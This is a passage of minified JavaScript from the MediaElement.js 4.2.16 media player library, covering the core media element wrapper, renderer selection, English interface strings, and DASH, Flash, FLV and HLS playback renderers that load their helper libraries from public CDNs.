d=f.mediaElement.originalNode.children.length,u=f.mediaElement.originalNode.getAttribute("src");if(u){var m=f.mediaElement.originalNode,p=(0,U.formatType)(u,m.getAttribute("type"));s.push({type:p,src:l(u,p)})}for(var h=0;h<d;h++){var v=f.mediaElement.originalNode.children[h];if("source"===v.tagName.toLowerCase()){var g=v.getAttribute("src"),y=(0,U.formatType)(g,v.getAttribute("type"));s.push({type:y,src:l(g,y)})}}}f.mediaElement.id=a,f.mediaElement.renderers={},f.mediaElement.events={},f.mediaElement.promises=[],f.mediaElement.renderer=null,f.mediaElement.rendererName=null,f.mediaElement.changeRenderer=function(e,t){var n=c,r=2<Object.keys(t[0]).length?t[0]:t[0].src;if(void 0!==n.mediaElement.renderer&&null!==n.mediaElement.renderer&&n.mediaElement.renderer.name===e)return n.mediaElement.renderer.pause(),n.mediaElement.renderer.stop&&n.mediaElement.renderer.stop(),n.mediaElement.renderer.show(),n.mediaElement.renderer.setSrc(r),!0;void 0!==n.mediaElement.renderer&&null!==n.mediaElement.renderer&&(n.mediaElement.renderer.pause(),n.mediaElement.renderer.stop&&n.mediaElement.renderer.stop(),n.mediaElement.renderer.hide());var a=n.mediaElement.renderers[e],i=null;if(null!=a)return a.show(),a.setSrc(r),n.mediaElement.renderer=a,n.mediaElement.rendererName=e,!0;for(var o=n.mediaElement.options.renderers.length?n.mediaElement.options.renderers:M.renderer.order,l=0,s=o.length;l<s;l++){var d=o[l];if(d===e){i=M.renderer.renderers[d];var u=Object.assign(i.options,n.mediaElement.options);return(a=i.create(n.mediaElement,u,t)).name=e,n.mediaElement.renderers[i.name]=a,n.mediaElement.renderer=a,n.mediaElement.rendererName=e,a.show(),!0}}return!1},f.mediaElement.setSize=function(e,t){void 0!==f.mediaElement.renderer&&null!==f.mediaElement.renderer&&f.mediaElement.renderer.setSize(e,t)},f.mediaElement.generateError=function(e,t){e=e||"",t=Array.isArray(t)?t:[];var n=(0,k.createEvent)("error",f.mediaElement);n.message=e,n.urls=t,f.mediaElement.dispatchEvent(n),i=!0};var E=I.default.html5media.properties,b=I.default.html5media.methods,w=function(t,e,n,r){var a=t[e];Object.defineProperty(t,e,{get:function(){return n.apply(t,[a])},set:function(e){return a=r.apply(t,[e])}})},_=function(e){if("src"!==e){var t=""+e.substring(0,1).toUpperCase()+e.substring(1),n=function(){return void 0!==f.mediaElement.renderer&&null!==f.mediaElement.renderer&&"function"==typeof f.mediaElement.renderer["get"+t]?f.mediaElement.renderer["get"+t]():null},r=function(e){void 0!==f.mediaElement.renderer&&null!==f.mediaElement.renderer&&"function"==typeof f.mediaElement.renderer["set"+t]&&f.mediaElement.renderer["set"+t](e)};w(f.mediaElement,e,n,r),f.mediaElement["get"+t]=n,f.mediaElement["set"+t]=r}},S=function(){return void 0!==f.mediaElement.renderer&&null!==f.mediaElement.renderer?f.mediaElement.renderer.getSrc():null},N=function(e){var t=[];if("string"==typeof e)t.push({src:e,type:e?(0,U.getTypeFromFile)(e):""});else if("object"===(void 0===e?"undefined":L(e))&&void 0!==e.src){var n=(0,U.absolutizeUrl)(e.src),r=e.type,a=Object.assign(e,{src:n,type:""!==r&&null!=r||!n?r:(0,U.getTypeFromFile)(n)});t.push(a)}else if(Array.isArray(e))for(var i=0,o=e.length;i<o;i++){var l=(0,U.absolutizeUrl)(e[i].src),s=e[i].type,d=Object.assign(e[i],{src:l,type:""!==s&&null!=s||!l?s:(0,U.getTypeFromFile)(l)});t.push(d)}var u=M.renderer.select(t,f.mediaElement.options.renderers.length?f.mediaElement.options.renderers:[]),c=void 0;if(f.mediaElement.paused||null==f.mediaElement.src||""===f.mediaElement.src||(f.mediaElement.pause(),c=(0,k.createEvent)("pause",f.mediaElement),f.mediaElement.dispatchEvent(c)),f.mediaElement.originalNode.src=t[0].src||"",null!==u||!t[0].src)return!(null==t[0].src||""===t[0].src)?f.mediaElement.changeRenderer(u.rendererName,t):null;f.mediaElement.generateError("No renderer found",t)},j=function(e,t){try{if("play"!==e||"native_dash"!==f.mediaElement.rendererName&&"native_hls"!==f.mediaElement.rendererName&&"vimeo_iframe"!==f.mediaElement.rendererName)f.mediaElement.renderer[e](t);else{var n=f.mediaElement.renderer[e](t);n&&"function"==typeof n.then&&n.catch(function(){f.mediaElement.paused&&setTimeout(function(){var e=f.mediaElement.renderer.play();void 0!==e&&e.catch(function(){f.mediaElement.renderer.paused||f.mediaElement.renderer.pause()})},150)})}}catch(e){f.mediaElement.generateError(e,s)}},A=function(r){f.mediaElement[r]=function(){for(var e=arguments.length,t=Array(e),n=0;n<e;n++)t[n]=arguments[n];return void 0!==f.mediaElement.renderer&&null!==f.mediaElement.renderer&&"function"==typeof f.mediaElement.renderer[r]&&(f.mediaElement.promises.length?Promise.all(f.mediaElement.promises).then(function(){j(r,t)}).catch(function(e){f.mediaElement.generateError(e,s)}):j(r,t)),null}};w(f.mediaElement,"src",S,N),f.mediaElement.getSrc=S,f.mediaElement.setSrc=N;for(var T=0,F=E.length;T<F;T++)_(E[T]);for(var P=0,x=b.length;P<x;P++)A(b[P]);return f.mediaElement.addEventListener=function(e,t){f.mediaElement.events[e]=f.mediaElement.events[e]||[],f.mediaElement.events[e].push(t)},f.mediaElement.removeEventListener=function(e,t){if(!e)return f.mediaElement.events={},!0;var n=f.mediaElement.events[e];if(!n)return!0;if(!t)return f.mediaElement.events[e]=[],!0;for(var r=0;r<n.length;r++)if(n[r]===t)return f.mediaElement.events[e].splice(r,1),!0;return!1},f.mediaElement.dispatchEvent=function(e){var t=f.mediaElement.events[e.type];if(t)for(var n=0;n<t.length;n++)t[n].apply(null,[e])},f.mediaElement.destroy=function(){var e=f.mediaElement.originalNode.cloneNode(!0),t=f.mediaElement.parentElement;e.removeAttribute("id"),e.remove(),f.mediaElement.remove(),t.appendChild(e)},s.length&&(f.mediaElement.src=s),f.mediaElement.promises.length?Promise.all(f.mediaElement.promises).then(function(){f.mediaElement.options.success&&f.mediaElement.options.success(f.mediaElement,f.mediaElement.originalNode)}).catch(function(){i&&f.mediaElement.options.error&&f.mediaElement.options.error(f.mediaElement,f.mediaElement.originalNode)}):(f.mediaElement.options.success&&f.mediaElement.options.success(f.mediaElement,f.mediaElement.originalNode),i&&f.mediaElement.options.error&&f.mediaElement.options.error(f.mediaElement,f.mediaElement.originalNode)),f.mediaElement};O.default.MediaElement=a,I.default.MediaElement=a,n.default=a},{16:16,18:18,19:19,2:2,3:3,7:7,8:8}],7:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0});var r,a=e(3);var i={version:"4.2.16",html5media:{properties:["volume","src","currentTime","muted","duration","paused","ended","buffered","error","networkState","readyState","seeking","seekable","currentSrc","preload","bufferedBytes","bufferedTime","initialTime","startOffsetTime","defaultPlaybackRate","playbackRate","played","autoplay","loop","controls"],readOnlyProperties:["duration","paused","ended","buffered","error","networkState","readyState","seeking","seekable"],methods:["load","play","pause","canPlayType"],events:["loadstart","durationchange","loadedmetadata","loadeddata","progress","canplay","canplaythrough","suspend","abort","error","emptied","stalled","play","playing","pause","waiting","seeking","seeked","timeupdate","ended","ratechange","volumechange"],mediaTypes:["audio/mp3","audio/ogg","audio/oga","audio/wav","audio/x-wav","audio/wave","audio/x-pn-wav","audio/mpeg","audio/mp4","video/mp4","video/webm","video/ogg","video/ogv"]}};((r=a)&&r.__esModule?r:{default:r}).default.mejs=i,n.default=i},{3:3}],8:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.renderer=void 0;var r,a="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},i=function(){function r(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(e,t,n){return t&&r(e.prototype,t),n&&r(e,n),e}}(),o=e(7),l=(r=o)&&r.__esModule?r:{default:r};var s=function(){function e(){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.renderers={},this.order=[]}return i(e,[{key:"add",value:function(e){if(void 0===e.name)throw new TypeError("renderer must contain at least `name` property");this.renderers[e.name]=e,this.order.push(e.name)}},{key:"select",value:function(e){var t=1<arguments.length&&void 0!==arguments[1]?arguments[1]:[],n=t.length;if(t=t.length?t:this.order,!n){var r=[/^(html5|native)/i,/^flash/i,/iframe$/i],a=function(e){for(var t=0,n=r.length;t<n;t++)if(r[t].test(e))return t;return r.length};t.sort(function(e,t){return a(e)-a(t)})}for(var i=0,o=t.length;i<o;i++){var l=t[i],s=this.renderers[l];if(null!=s)for(var d=0,u=e.length;d<u;d++)if("function"==typeof s.canPlayType&&"string"==typeof e[d].type&&s.canPlayType(e[d].type))return{rendererName:s.name,src:e[d].src}}return null}},{key:"order",set:function(e){if(!Array.isArray(e))throw new TypeError("order must be an array of strings.");this._order=e},get:function(){return this._order}},{key:"renderers",set:function(e){if(null!==e&&"object"!==(void 0===e?"undefined":a(e)))throw new TypeError("renderers must be an array of objects.");this._renderers=e},get:function(){return this._renderers}}]),e}(),d=n.renderer=new s;l.default.Renderers=d},{7:7}],9:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0});n.EN={"mejs.plural-form":1,"mejs.download-file":"Download File","mejs.install-flash":"You are using a browser that does not have Flash player enabled or installed. Please turn on your Flash player plugin or download the latest version from https://get.adobe.com/flashplayer/","mejs.fullscreen":"Fullscreen","mejs.play":"Play","mejs.pause":"Pause","mejs.time-slider":"Time Slider","mejs.time-help-text":"Use Left/Right Arrow keys to advance one second, Up/Down arrows to advance ten seconds.","mejs.live-broadcast":"Live Broadcast","mejs.volume-help-text":"Use Up/Down Arrow keys to increase or decrease volume.","mejs.unmute":"Unmute","mejs.mute":"Mute","mejs.volume-slider":"Volume Slider","mejs.video-player":"Video Player","mejs.audio-player":"Audio Player","mejs.captions-subtitles":"Captions/Subtitles","mejs.captions-chapters":"Chapters","mejs.none":"None","mejs.afrikaans":"Afrikaans","mejs.albanian":"Albanian","mejs.arabic":"Arabic","mejs.belarusian":"Belarusian","mejs.bulgarian":"Bulgarian","mejs.catalan":"Catalan","mejs.chinese":"Chinese","mejs.chinese-simplified":"Chinese (Simplified)","mejs.chinese-traditional":"Chinese (Traditional)","mejs.croatian":"Croatian","mejs.czech":"Czech","mejs.danish":"Danish","mejs.dutch":"Dutch","mejs.english":"English","mejs.estonian":"Estonian","mejs.filipino":"Filipino","mejs.finnish":"Finnish","mejs.french":"French","mejs.galician":"Galician","mejs.german":"German","mejs.greek":"Greek","mejs.haitian-creole":"Haitian Creole","mejs.hebrew":"Hebrew","mejs.hindi":"Hindi","mejs.hungarian":"Hungarian","mejs.icelandic":"Icelandic","mejs.indonesian":"Indonesian","mejs.irish":"Irish","mejs.italian":"Italian","mejs.japanese":"Japanese","mejs.korean":"Korean","mejs.latvian":"Latvian","mejs.lithuanian":"Lithuanian","mejs.macedonian":"Macedonian","mejs.malay":"Malay","mejs.maltese":"Maltese","mejs.norwegian":"Norwegian","mejs.persian":"Persian","mejs.polish":"Polish","mejs.portuguese":"Portuguese","mejs.romanian":"Romanian","mejs.russian":"Russian","mejs.serbian":"Serbian","mejs.slovak":"Slovak","mejs.slovenian":"Slovenian","mejs.spanish":"Spanish","mejs.swahili":"Swahili","mejs.swedish":"Swedish","mejs.tagalog":"Tagalog","mejs.thai":"Thai","mejs.turkish":"Turkish","mejs.ukrainian":"Ukrainian","mejs.vietnamese":"Vietnamese","mejs.welsh":"Welsh","mejs.yiddish":"Yiddish"}},{}],10:[function(e,t,n){"use strict";var b="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},w=o(e(3)),_=o(e(7)),S=e(8),N=e(18),r=e(19),a=e(16),i=e(17);function o(e){return e&&e.__esModule?e:{default:e}}var j={promise:null,load:function(e){return"undefined"!=typeof dashjs?j.promise=new Promise(function(e){e()}).then(function(){j._createPlayer(e)}):(e.options.path="string"==typeof e.options.path?e.options.path:"https://cdn.dashjs.org/latest/dash.all.min.js",j.promise=j.promise||(0,i.loadScript)(e.options.path),j.promise.then(function(){j._createPlayer(e)})),j.promise},_createPlayer:function(e){var t=dashjs.MediaPlayer().create();return w.default["__ready__"+e.id](t),t}},l={name:"native_dash",options:{prefix:"native_dash",dash:{path:"https://cdn.dashjs.org/latest/dash.all.min.js",debug:!1,drm:{},robustnessLevel:""}},canPlayType:function(e){return a.HAS_MSE&&-1<["application/dash+xml"].indexOf(e.toLowerCase())},create:function(l,s,e){var t=l.originalNode,i=l.id+"_"+s.prefix,o=t.autoplay,n=t.children,d=null,u=null;t.removeAttribute("type");for(var r=0,a=n.length;r<a;r++)n[r].removeAttribute("type");d=t.cloneNode(!0),s=Object.assign(s,l.options);for(var c=_.default.html5media.properties,f=_.default.html5media.events.concat(["click","mouseover","mouseout"]).filter(function(e){return"error"!==e}),m=function(e){var t=(0,N.createEvent)(e.type,l);l.dispatchEvent(t)},p=function(a){var e=""+a.substring(0,1).toUpperCase()+a.substring(1);d["get"+e]=function(){return null!==u?d[a]:null},d["set"+e]=function(e){if(-1===_.default.html5media.readOnlyProperties.indexOf(a))if("src"===a){var t="object"===(void 0===e?"undefined":b(e))&&e.src?e.src:e;if(d[a]=t,null!==u){u.reset();for(var n=0,r=f.length;n<r;n++)d.removeEventListener(f[n],m);u=j._createPlayer({options:s.dash,id:i}),e&&"object"===(void 0===e?"undefined":b(e))&&"object"===b(e.drm)&&(u.setProtectionData(e.drm),(0,N.isString)(s.dash.robustnessLevel)&&s.dash.robustnessLevel&&u.getProtectionController().setRobustnessLevel(s.dash.robustnessLevel)),u.attachSource(t),o&&u.play()}}else d[a]=e}},h=0,v=c.length;h<v;h++)p(c[h]);if(w.default["__ready__"+i]=function(e){l.dashPlayer=u=e;for(var t,n=dashjs.MediaPlayer.events,r=0,a=f.length;r<a;r++)"loadedmetadata"===(t=f[r])&&(u.initialize(),u.attachView(d),u.setAutoPlay(!1),"object"!==b(s.dash.drm)||_.default.Utils.isObjectEmpty(s.dash.drm)||(u.setProtectionData(s.dash.drm),(0,N.isString)(s.dash.robustnessLevel)&&s.dash.robustnessLevel&&u.getProtectionController().setRobustnessLevel(s.dash.robustnessLevel)),u.attachSource(d.getSrc())),d.addEventListener(t,m);var i=function(e){if("error"===e.type.toLowerCase())l.generateError(e.message,d.src),console.error(e);else{var t=(0,N.createEvent)(e.type,l);t.data=e,l.dispatchEvent(t)}};for(var o in n)n.hasOwnProperty(o)&&u.on(n[o],function(e){return i(e)})},e&&0<e.length)for(var g=0,y=e.length;g<y;g++)if(S.renderer.renderers[s.prefix].canPlayType(e[g].type)){d.setAttribute("src",e[g].src),void 0!==e[g].drm&&(s.dash.drm=e[g].drm);break}d.setAttribute("id",i),t.parentNode.insertBefore(d,t),t.autoplay=!1,t.style.display="none",d.setSize=function(e,t){return d.style.width=e+"px",d.style.height=t+"px",d},d.hide=function(){return d.pause(),d.style.display="none",d},d.show=function(){return d.style.display="",d},d.destroy=function(){null!==u&&u.reset()};var E=(0,N.createEvent)("rendererready",d);return l.dispatchEvent(E),l.promises.push(j.load({options:s.dash,id:i})),d}};r.typeChecks.push(function(e){return~e.toLowerCase().indexOf(".mpd")?"application/dash+xml":null}),S.renderer.add(l)},{16:16,17:17,18:18,19:19,3:3,7:7,8:8}],11:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.PluginDetector=void 0;var d="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},A=r(e(3)),T=r(e(2)),F=r(e(7)),P=r(e(5)),x=e(8),L=e(18),O=e(16),C=e(19);function r(e){return e&&e.__esModule?e:{default:e}}var i=n.PluginDetector={plugins:[],hasPluginVersion:function(e,t){var n=i.plugins[e];return t[1]=t[1]||0,t[2]=t[2]||0,n[0]>t[0]||n[0]===t[0]&&n[1]>t[1]||n[0]===t[0]&&n[1]===t[1]&&n[2]>=t[2]},addPlugin:function(e,t,n,r,a){i.plugins[e]=i.detectPlugin(t,n,r,a)},detectPlugin:function(e,t,n,r){var a=[0,0,0],i=void 0,o=void 0;if(null!==O.NAV.plugins&&void 0!==O.NAV.plugins&&"object"===d(O.NAV.plugins[e])){if((i=O.NAV.plugins[e].description)&&(void 0===O.NAV.mimeTypes||!O.NAV.mimeTypes[t]||O.NAV.mimeTypes[t].enabledPlugin))for(var l=0,s=(a=i.replace(e,"").replace(/^\s+/,"").replace(/\sr/gi,".").split(".")).length;l<s;l++)a[l]=parseInt(a[l].match(/\d+/),10)}else if(void 0!==A.default.ActiveXObject)try{(o=new ActiveXObject(n))&&(a=r(o))}catch(e){}return a}};i.addPlugin("flash","Shockwave Flash","application/x-shockwave-flash","ShockwaveFlash.ShockwaveFlash",function(e){var t=[],n=e.GetVariable("$version");return n&&(n=n.split(" ")[1].split(","),t=[parseInt(n[0],10),parseInt(n[1],10),parseInt(n[2],10)]),t});var a={create:function(e,t,n){var i={},r=!1;i.options=t,i.id=e.id+"_"+i.options.prefix,i.mediaElement=e,i.flashState={},i.flashApi=null,i.flashApiStack=[];for(var a=F.default.html5media.properties,o=function(t){i.flashState[t]=null;var e=""+t.substring(0,1).toUpperCase()+t.substring(1);i["get"+e]=function(){if(null!==i.flashApi){if("function"==typeof i.flashApi["get_"+t]){var e=i.flashApi["get_"+t]();return"buffered"===t?{start:function(){return 0},end:function(){return e},length:1}:e}return null}return null},i["set"+e]=function(e){if("src"===t&&(e=(0,C.absolutizeUrl)(e)),null!==i.flashApi&&void 0!==i.flashApi["set_"+t])try{i.flashApi["set_"+t](e)}catch(e){}else i.flashApiStack.push({type:"set",propName:t,value:e})}},l=0,s=a.length;l<s;l++)o(a[l]);var d=F.default.html5media.methods,u=function(e){i[e]=function(){if(r)if(null!==i.flashApi){if(i.flashApi["fire_"+e])try{i.flashApi["fire_"+e]()}catch(e){}}else i.flashApiStack.push({type:"call",methodName:e})}};d.push("stop");for(var c=0,f=d.length;c<f;c++)u(d[c]);for(var m=["rendererready"],p=0,h=m.length;p<h;p++){var v=(0,L.createEvent)(m[p],i);e.dispatchEvent(v)}A.default["__ready__"+i.id]=function(){if(i.flashReady=!0,i.flashApi=T.default.getElementById("__"+i.id),i.flashApiStack.length)for(var e=0,t=i.flashApiStack.length;e<t;e++){var n=i.flashApiStack[e];if("set"===n.type){var r=n.propName,a=""+r.substring(0,1).toUpperCase()+r.substring(1);i["set"+a](n.value)}else"call"===n.type&&i[n.methodName]()}},A.default["__event__"+i.id]=function(e,t){var n=(0,L.createEvent)(e,i);if(t)try{n.data=JSON.parse(t),n.details.data=JSON.parse(t)}catch(e){n.message=t}i.mediaElement.dispatchEvent(n)},i.flashWrapper=T.default.createElement("div"),-1===["always","sameDomain"].indexOf(i.options.shimScriptAccess)&&(i.options.shimScriptAccess="sameDomain");var g=e.originalNode.autoplay,y=["uid="+i.id,"autoplay="+g,"allowScriptAccess="+i.options.shimScriptAccess,"preload="+(e.originalNode.getAttribute("preload")||"")],E=null!==e.originalNode&&"video"===e.originalNode.tagName.toLowerCase(),b=E?e.originalNode.height:1,w=E?e.originalNode.width:1;e.originalNode.getAttribute("src")&&y.push("src="+e.originalNode.getAttribute("src")),!0===i.options.enablePseudoStreaming&&(y.push("pseudostreamstart="+i.options.pseudoStreamingStartQueryParam),y.push("pseudostreamtype="+i.options.pseudoStreamingType)),i.options.streamDelimiter&&y.push("streamdelimiter="+encodeURIComponent(i.options.streamDelimiter)),i.options.proxyType&&y.push("proxytype="+i.options.proxyType),e.appendChild(i.flashWrapper),e.originalNode.style.display="none";var _=[];if(O.IS_IE||O.IS_EDGE){var S=T.default.createElement("div");i.flashWrapper.appendChild(S),_=O.IS_EDGE?['type="application/x-shockwave-flash"','data="'+i.options.pluginPath+i.options.filename+'"','id="__'+i.id+'"','width="'+w+'"','height="'+b+"'\""]:['classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"','codebase="//download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab"','id="__'+i.id+'"','width="'+w+'"','height="'+b+'"'],E||_.push('style="clip: rect(0 0 0 0); position: absolute;"'),S.outerHTML="<object "+_.join(" ")+'><param name="movie" value="'+i.options.pluginPath+i.options.filename+"?x="+new Date+'" /><param name="flashvars" value="'+y.join("&")+'" /><param name="quality" value="high" /><param name="bgcolor" value="#000000" /><param name="wmode" value="transparent" /><param name="allowScriptAccess" value="'+i.options.shimScriptAccess+'" /><param name="allowFullScreen" value="true" /><div>'+P.default.t("mejs.install-flash")+"</div></object>"}else _=['id="__'+i.id+'"','name="__'+i.id+'"','play="true"','loop="false"','quality="high"','bgcolor="#000000"','wmode="transparent"','allowScriptAccess="'+i.options.shimScriptAccess+'"','allowFullScreen="true"','type="application/x-shockwave-flash"','pluginspage="//www.macromedia.com/go/getflashplayer"','src="'+i.options.pluginPath+i.options.filename+'"','flashvars="'+y.join("&")+'"'],E?(_.push('width="'+w+'"'),_.push('height="'+b+'"')):_.push('style="position: fixed; left: -9999em; top: -9999em;"'),i.flashWrapper.innerHTML="<embed "+_.join(" ")+">";if(i.flashNode=i.flashWrapper.lastChild,i.hide=function(){r=!1,E&&(i.flashNode.style.display="none")},i.show=function(){r=!0,E&&(i.flashNode.style.display="")},i.setSize=function(e,t){i.flashNode.style.width=e+"px",i.flashNode.style.height=t+"px",null!==i.flashApi&&"function"==typeof i.flashApi.fire_setSize&&i.flashApi.fire_setSize(e,t)},i.destroy=function(){i.flashNode.remove()},n&&0<n.length)for(var N=0,j=n.length;N<j;N++)if(x.renderer.renderers[t.prefix].canPlayType(n[N].type)){i.setSrc(n[N].src);break}return i}};if(i.hasPluginVersion("flash",[10,0,0])){C.typeChecks.push(function(e){return(e=e.toLowerCase()).startsWith("rtmp")?~e.indexOf(".mp3")?"audio/rtmp":"video/rtmp":/\.og(a|g)/i.test(e)?"audio/ogg":~e.indexOf(".m3u8")?"application/x-mpegURL":~e.indexOf(".mpd")?"application/dash+xml":~e.indexOf(".flv")?"video/flv":null});var o={name:"flash_video",options:{prefix:"flash_video",filename:"mediaelement-flash-video.swf",enablePseudoStreaming:!1,pseudoStreamingStartQueryParam:"start",pseudoStreamingType:"byte",proxyType:"",streamDelimiter:""},canPlayType:function(e){return~["video/mp4","video/rtmp","audio/rtmp","rtmp/mp4","audio/mp4","video/flv","video/x-flv"].indexOf(e.toLowerCase())},create:a.create};x.renderer.add(o);var l={name:"flash_hls",options:{prefix:"flash_hls",filename:"mediaelement-flash-video-hls.swf"},canPlayType:function(e){return~["application/x-mpegurl","application/vnd.apple.mpegurl","audio/mpegurl","audio/hls","video/hls"].indexOf(e.toLowerCase())},create:a.create};x.renderer.add(l);var s={name:"flash_dash",options:{prefix:"flash_dash",filename:"mediaelement-flash-video-mdash.swf"},canPlayType:function(e){return~["application/dash+xml"].indexOf(e.toLowerCase())},create:a.create};x.renderer.add(s);var u={name:"flash_audio",options:{prefix:"flash_audio",filename:"mediaelement-flash-audio.swf"},canPlayType:function(e){return~["audio/mp3"].indexOf(e.toLowerCase())},create:a.create};x.renderer.add(u);var c={name:"flash_audio_ogg",options:{prefix:"flash_audio_ogg",filename:"mediaelement-flash-audio-ogg.swf"},canPlayType:function(e){return~["audio/ogg","audio/oga","audio/ogv"].indexOf(e.toLowerCase())},create:a.create};x.renderer.add(c)}},{16:16,18:18,19:19,2:2,3:3,5:5,7:7,8:8}],12:[function(e,t,n){"use strict";var y="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},E=o(e(3)),b=o(e(7)),w=e(8),_=e(18),r=e(16),a=e(19),i=e(17);function o(e){return e&&e.__esModule?e:{default:e}}var S={promise:null,load:function(e){return"undefined"!=typeof flvjs?S.promise=new Promise(function(e){e()}).then(function(){S._createPlayer(e)}):(e.options.path="string"==typeof e.options.path?e.options.path:"https://cdn.jsdelivr.net/npm/flv.js@latest",S.promise=S.promise||(0,i.loadScript)(e.options.path),S.promise.then(function(){S._createPlayer(e)})),S.promise},_createPlayer:function(e){flvjs.LoggingControl.enableDebug=e.options.debug,flvjs.LoggingControl.enableVerbose=e.options.debug;var t=flvjs.createPlayer(e.options,e.configs);return E.default["__ready__"+e.id](t),t}},l={name:"native_flv",options:{prefix:"native_flv",flv:{path:"https://cdn.jsdelivr.net/npm/flv.js@latest",cors:!0,debug:!1}},canPlayType:function(e){return r.HAS_MSE&&-1<["video/x-flv","video/flv"].indexOf(e.toLowerCase())},create:function(l,o,e){var t=l.originalNode,s=l.id+"_"+o.prefix,d=null,u=null;d=t.cloneNode(!0),o=Object.assign(o,l.options);for(var n=b.default.html5media.properties,c=b.default.html5media.events.concat(["click","mouseover","mouseout"]).filter(function(e){return"error"!==e}),f=function(e){var t=(0,_.createEvent)(e.type,l);l.dispatchEvent(t)},r=function(i){var e=""+i.substring(0,1).toUpperCase()+i.substring(1);d["get"+e]=function(){return null!==u?d[i]:null},d["set"+e]=function(e){if(-1===b.default.html5media.readOnlyProperties.indexOf(i))if("src"===i){if(d[i]="object"===(void 0===e?"undefined":y(e))&&e.src?e.src:e,null!==u){var t={type:"flv"};t.url=e,t.cors=o.flv.cors,t.debug=o.flv.debug,t.path=o.flv.path;var n=o.flv.configs;u.destroy();for(var r=0,a=c.length;r<a;r++)d.removeEventListener(c[r],f);(u=S._createPlayer({options:t,configs:n,id:s})).attachMediaElement(d),u.load()}}else d[i]=e}},a=0,i=n.length;a<i;a++)r(n[a]);if(E.default["__ready__"+s]=function(e){l.flvPlayer=u=e;for(var t,a=flvjs.Events,n=0,r=c.length;n<r;n++)"loadedmetadata"===(t=c[n])&&(u.unload(),u.detachMediaElement(),u.attachMediaElement(d),u.load()),d.addEventListener(t,f);var i=function(r){a.hasOwnProperty(r)&&u.on(a[r],function(){for(var e=arguments.length,t=Array(e),n=0;n<e;n++)t[n]=arguments[n];return function(e,t){if("error"===e){var n=t[0]+": "+t[1]+" "+t[2].msg;l.generateError(n,d.src)}else{var r=(0,_.createEvent)(e,l);r.data=t,l.dispatchEvent(r)}}(a[r],t)})};for(var o in a)i(o)},e&&0<e.length)for(var m=0,p=e.length;m<p;m++)if(w.renderer.renderers[o.prefix].canPlayType(e[m].type)){d.setAttribute("src",e[m].src);break}d.setAttribute("id",s),t.parentNode.insertBefore(d,t),t.autoplay=!1,t.style.display="none";var h={type:"flv"};h.url=d.src,h.cors=o.flv.cors,h.debug=o.flv.debug,h.path=o.flv.path;var v=o.flv.configs;d.setSize=function(e,t){return d.style.width=e+"px",d.style.height=t+"px",d},d.hide=function(){return null!==u&&u.pause(),d.style.display="none",d},d.show=function(){return d.style.display="",d},d.destroy=function(){null!==u&&u.destroy()};var g=(0,_.createEvent)("rendererready",d);return l.dispatchEvent(g),l.promises.push(S.load({options:h,configs:v,id:s})),d}};a.typeChecks.push(function(e){return~e.toLowerCase().indexOf(".flv")?"video/flv":null}),w.renderer.add(l)},{16:16,17:17,18:18,19:19,3:3,7:7,8:8}],13:[function(e,t,n){"use strict";var y="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},E=o(e(3)),b=o(e(7)),w=e(8),_=e(18),r=e(16),a=e(19),i=e(17);function o(e){return e&&e.__esModule?e:{default:e}}var S={promise:null,load:function(e){return"undefined"!=typeof Hls?S.promise=new Promise(function(e){e()}).then(function(){S._createPlayer(e)}):(e.options.path="string"==typeof e.options.path?e.options.path:"https://cdn.jsdelivr.net/npm/hls.js@latest",S.promise=S.promise||(0,i.loadScript)(e.options.path),S.promise.then(function(){S._createPlayer(e)})),S.promise},_createPlayer:function(e){var t=new Hls(e.options);return E.default["__ready__"+e.id](t),t}},l={name:"native_hls",options:{prefix:"native_hls",hls:{path:"https://cdn.jsdelivr.net/npm/hls.js@latest",autoStartLoad:!1,debug:!1}},canPlayType:function(e){return r.HAS_MSE&&-1<["application/x-mpegurl","application/vnd.apple.mpegurl","audio/mpegurl","audio/hls","video/hls"].indexOf(e.toLowerCase())},create:function(d,a,u){var e=d.originalNode,i=d.id+"_"+a.prefix,t=e.getAttribute("preload"),n=e.autoplay,c=null,f=null,m=0,p=u.length;f=e.cloneNode(!0),(a=Object.assign(a,d.options)).hls.autoStartLoad=t&&"none"!==t||n;for(var r=b.default.html5media.properties,h=b.default.html5media.events.concat(["click","mouseover","mouseout"]).filter(function(e){return"error"!==e}),v=function(e){var t=(0,_.createEvent)(e.type,d);d.dispatchEvent(t)},o=function(r){var e=""+r.substring(0,1).toUpperCase()+r.substring(1);f["get"+e]=function(){return null!==c?f[r]:null},f["set"+e]=function(e){if(-1===b.default.html5media.readOnlyProperties.indexOf(r))if("src"===r){if(f[r]="object"===(void 0===e?"undefined":y(e))&&e.src?e.src:e,null!==c){c.destroy();for(var t=0,n=h.length;t<n;t++)f.removeEventListener(h[t],v);(c=S._createPlayer({options:a.hls,id:i})).loadSource(e),c.attachMedia(f)}}else f[r]=e}},l=0,s=r.length;l<s;l++)o(r[l]);if(E.default["__ready__"+i]=function(e){d.hlsPlayer=c=e;for(var a=Hls.Events,t=function(e){if("loadedmetadata"===e){var 